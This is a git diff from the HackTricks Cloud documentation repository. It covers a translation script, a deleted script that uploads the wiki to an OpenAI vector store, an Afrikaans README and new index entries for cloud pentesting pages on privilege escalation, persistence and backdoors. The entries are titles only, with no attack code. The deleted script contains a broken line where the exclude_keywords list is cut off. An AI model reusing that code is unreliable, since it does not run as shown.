def copy_dirs(source_path, dest_path, folder_names):
|
||||
for folder_name in folder_names:
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the theme folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
|
||||
def copy_gitbook_dir(source_path, dest_path):
|
||||
folder_name = ".gitbook/"
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the .gitbook folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
|
||||
|
||||
def move_files_to_push(source_path, dest_path, relative_file_paths):
|
||||
for file_path in relative_file_paths:
|
||||
source_filepath = os.path.join(source_path, file_path)
|
||||
dest_filepath = os.path.join(dest_path, file_path)
|
||||
if not os.path.exists(source_filepath):
|
||||
print(f"Error: {source_filepath} does not exist.")
|
||||
else:
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print(f"[+] Copied {file_path}")
|
||||
|
||||
def copy_files(source_path, dest_path):
|
||||
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
|
||||
move_files_to_push(source_path, dest_path, file_names)
|
||||
def copy_summary(source_path, dest_path):
|
||||
file_name = "src/SUMMARY.md"
|
||||
source_filepath = os.path.join(source_path, file_name)
|
||||
dest_filepath = os.path.join(dest_path, file_name)
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print("[+] Copied SUMMARY.md")
|
||||
|
||||
def translate_file(language, file_path, file_dest_path, model, client):
|
||||
global VERBOSE
|
||||
@@ -314,7 +234,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
translated_content = ''
|
||||
start_time = time.time()
|
||||
for chunk in content_chunks:
|
||||
# Don't translate code blocks
|
||||
# Don't trasnlate code blocks
|
||||
if chunk.startswith('```'):
|
||||
translated_content += chunk + '\n'
|
||||
else:
|
||||
@@ -328,10 +248,9 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
f.write(translated_content)
|
||||
|
||||
#if VERBOSE:
|
||||
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
|
||||
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
|
||||
|
||||
|
||||
"""
|
||||
def translate_directory(language, source_path, dest_path, model, num_threads, client):
|
||||
all_markdown_files = []
|
||||
for subdir, dirs, files in os.walk(source_path):
|
||||
@@ -361,17 +280,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
|
||||
tb = traceback.format_exc()
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
print("Traceback:", tb)
|
||||
"""
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("- Version 2.0.0")
|
||||
print("- Version 1.1.1")
|
||||
# Set up argparse
|
||||
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
|
||||
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
|
||||
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
|
||||
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
|
||||
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
|
||||
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
|
||||
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
|
||||
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
|
||||
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
|
||||
@@ -426,7 +345,7 @@ if __name__ == "__main__":
|
||||
translate_files = None # Need to initialize it here to avoid error
|
||||
if args.file_paths:
|
||||
# Translate only the indicated file
|
||||
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
|
||||
translate_files = [f for f in args.file_paths.split(' , ') if f]
|
||||
for file_path in translate_files:
|
||||
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
|
||||
@@ -440,21 +359,23 @@ if __name__ == "__main__":
|
||||
#pbar.update()
|
||||
except Exception as exc:
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
|
||||
#elif args.directory:
|
||||
|
||||
# Delete possibly removed files from the master branch
|
||||
delete_unique_files(branch)
|
||||
|
||||
elif args.directory:
|
||||
# Translate everything
|
||||
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
|
||||
else:
|
||||
print("You need to indicate either a directory or a list of files to translate.")
|
||||
exit(0)
|
||||
exit(1)
|
||||
|
||||
# Copy Summary
|
||||
copy_files(source_folder, dest_folder)
|
||||
# Copy summary
|
||||
copy_summary(source_folder, dest_folder)
|
||||
|
||||
# Copy .gitbook folder
|
||||
folder_names = ["theme/", "src/images/"]
|
||||
copy_dirs(source_folder, dest_folder, folder_names)
|
||||
copy_gitbook_dir(source_folder, dest_folder)
|
||||
|
||||
# Create the branch and copy the translated files
|
||||
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)
|
||||
|
||||
@@ -1,297 +0,0 @@
|
||||
import os
|
||||
import requests
|
||||
import zipfile
|
||||
import tempfile
|
||||
import time
|
||||
import glob
|
||||
import re
|
||||
|
||||
from openai import OpenAI
|
||||
|
||||
# Initialize OpenAI client
|
||||
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
|
||||
|
||||
# Vector Store ID
|
||||
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 1: Download and Extract Markdown Files
|
||||
# --------------------------------------------------
|
||||
|
||||
def download_zip(url, save_path):
|
||||
print(f"Downloading zip from: {url}")
|
||||
response = requests.get(url)
|
||||
response.raise_for_status() # Ensure the download succeeded
|
||||
with open(save_path, "wb") as f:
|
||||
f.write(response.content)
|
||||
print(f"Downloaded zip from: {url}")
|
||||
|
||||
def extract_markdown_files(zip_path, extract_dir):
|
||||
print(f"Extracting zip: {zip_path} to {extract_dir}")
|
||||
with zipfile.ZipFile(zip_path, "r") as zip_ref:
|
||||
zip_ref.extractall(extract_dir)
|
||||
# Recursively find all .md files
|
||||
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
|
||||
|
||||
return md_files
|
||||
|
||||
# Repository URLs
|
||||
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
|
||||
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
|
||||
|
||||
# Temporary directory for downloads and extraction
|
||||
temp_dir = tempfile.mkdtemp()
|
||||
try:
|
||||
# Download zip archives
|
||||
print("Downloading Hacktricks repositories...")
|
||||
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
|
||||
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
|
||||
download_zip(hacktricks_url, hacktricks_zip)
|
||||
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
|
||||
|
||||
# Extract the markdown files
|
||||
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
|
||||
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
|
||||
|
||||
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
|
||||
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
|
||||
|
||||
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
|
||||
print(f"Found {len(all_md_files)} markdown files.")
|
||||
finally:
|
||||
# Optional cleanup of temporary files after processing
|
||||
# shutil.rmtree(temp_dir)
|
||||
pass
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 2: Remove All Existing Files in the Vector Store
|
||||
# --------------------------------------------------
|
||||
# List current files in the vector store and delete each one.
|
||||
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
|
||||
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
|
||||
|
||||
for file_obj in existing_files:
|
||||
# Delete the underlying file object; this removes it from the vector store.
|
||||
try:
|
||||
client.files.delete(file_id=file_obj.id)
|
||||
print(f"Deleted file: {file_obj.id}")
|
||||
time.sleep(1) # Give it a moment to ensure the deletion is processed
|
||||
except Exception as e:
|
||||
# Handle potential errors during deletion
|
||||
print(f"Error deleting file {file_obj.id}: {e}")
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 3: Clean markdown Files
|
||||
# ----------------------------------------------------
|
||||
# Clean markdown files and marge them so it's easier to
|
||||
# uplaod to the vector store.
|
||||
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
|
||||
break
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"### Start file: {file_name} ###\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"hacktricks-training.md",
|
||||
", "hacktricks.md")
|
||||
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
|
||||
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
|
||||
print(f"Merged content has been saved to: {ht_file}")
|
||||
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
|
||||
print(f"Merged content has been saved to: {htc_file}")
|
||||
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 4: Upload All Markdown Files to the Vector Store
|
||||
# ----------------------------------------------------
|
||||
# Upload two files to the vector store.
|
||||
# Uploading .md hacktricks files individually can be slow,
|
||||
# so thats why we merged it before into just 2 files.
|
||||
|
||||
file_streams = []
|
||||
|
||||
ht_stream = open(ht_file, "rb")
|
||||
file_streams.append(ht_stream)
|
||||
htc_stream = open(htc_file, "rb")
|
||||
file_streams.append(htc_stream)
|
||||
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
|
||||
time.sleep(60) # Sleep for a minute to ensure the upload is processed
|
||||
ht_stream.close()
|
||||
htc_stream.close()
|
||||
|
||||
|
||||
""""This was to upload each .md independently, wich turned out to be a nightmare
|
||||
# Ensure we don't exceed the maximum number of file streams
|
||||
|
||||
for file_path in all_md_files:
|
||||
# Check if we have reached the maximum number of streams
|
||||
if len(file_streams) >= 300:
|
||||
print("Reached maximum number of file streams (300). Uploading current batch...")
|
||||
# Upload the current batch before adding more files
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
# Clear the list for the next batch
|
||||
file_streams = []
|
||||
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
|
||||
try:
|
||||
stream = open(file_path, "rb")
|
||||
file_streams.append(stream)
|
||||
except Exception as e:
|
||||
print(f"Error opening {file_path}: {e}")
|
||||
|
||||
if file_streams:
|
||||
# Upload files and poll for completion
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
else:
|
||||
print("No markdown files to upload.")"
|
||||
|
||||
|
||||
# Close all file streams
|
||||
for stream in file_streams:
|
||||
stream.close()
|
||||
"""
|
||||
File diff suppressed because one or more lines are too long
@@ -4,10 +4,9 @@
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Run HackTricks Cloud Locally
|
||||
_Hacktricks-logo's en animasie ontwerp deur_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Voer HackTricks Cloud plaaslik uit
|
||||
```bash
|
||||
# Download latest version of hacktricks cloud
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
|
||||
@@ -34,30 +33,28 @@ export LANG="master" # Leave master for English
|
||||
# Run the docker container indicating the path to the hacktricks-cloud folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
Jou plaaslike kopie van HackTricks Cloud sal **beskikbaar wees by [http://localhost:3377](http://localhost:3377)** binne 'n minuut.
|
||||
|
||||
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
|
||||
### **Pentesting CI/CD Metodologie**
|
||||
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
|
||||
**In die HackTricks CI/CD Metodologie vind jy hoe om infrastruktuur wat verband hou met CI/CD-aktiwiteite te pentest.** Lees die volgende bladsy vir 'n **inleiding:**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Methodology
|
||||
### Pentesting Cloud Metodologie
|
||||
|
||||
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
|
||||
**In die HackTricks Cloud Metodologie vind jy hoe om cloud-omgewings te pentest.** Lees die volgende bladsy vir 'n **inleiding:**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### License & Disclaimer
|
||||
### Lisensie & Vrywaring
|
||||
|
||||
**Check them in:**
|
||||
**Kyk hulle na by:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Github Stats
|
||||
### Github Statistieke
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
271
src/SUMMARY.md
271
src/SUMMARY.md
@@ -9,6 +9,7 @@
|
||||
# 🏭 Pentesting CI/CD
|
||||
|
||||
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
|
||||
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
|
||||
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
|
||||
- [Github Security](pentesting-ci-cd/github-security/README.md)
|
||||
@@ -41,6 +42,7 @@
|
||||
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
|
||||
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
|
||||
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
|
||||
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
|
||||
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
|
||||
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
|
||||
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
|
||||
@@ -55,6 +57,7 @@
|
||||
# ⛈️ Pentesting Cloud
|
||||
|
||||
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
|
||||
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
|
||||
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
|
||||
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
|
||||
@@ -84,6 +87,7 @@
|
||||
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
|
||||
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
|
||||
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
|
||||
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
|
||||
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
|
||||
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
|
||||
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
|
||||
@@ -98,7 +102,6 @@
|
||||
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
|
||||
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
|
||||
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
|
||||
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
|
||||
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
|
||||
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
|
||||
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
|
||||
@@ -107,6 +110,7 @@
|
||||
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
|
||||
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
|
||||
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
|
||||
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
|
||||
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
|
||||
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
|
||||
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
||||
@@ -121,6 +125,7 @@
|
||||
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
|
||||
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
|
||||
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
|
||||
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
|
||||
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
|
||||
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
|
||||
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
|
||||
@@ -129,6 +134,7 @@
|
||||
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
|
||||
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
|
||||
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
|
||||
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
|
||||
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
|
||||
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
|
||||
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
|
||||
@@ -138,6 +144,7 @@
|
||||
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
|
||||
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
|
||||
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
|
||||
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
|
||||
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
|
||||
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
|
||||
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
|
||||
@@ -185,6 +192,7 @@
|
||||
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
|
||||
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
|
||||
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
|
||||
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
|
||||
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
|
||||
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
|
||||
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
|
||||
@@ -216,109 +224,139 @@
|
||||
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
|
||||
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
|
||||
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
|
||||
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
|
||||
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
|
||||
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
|
||||
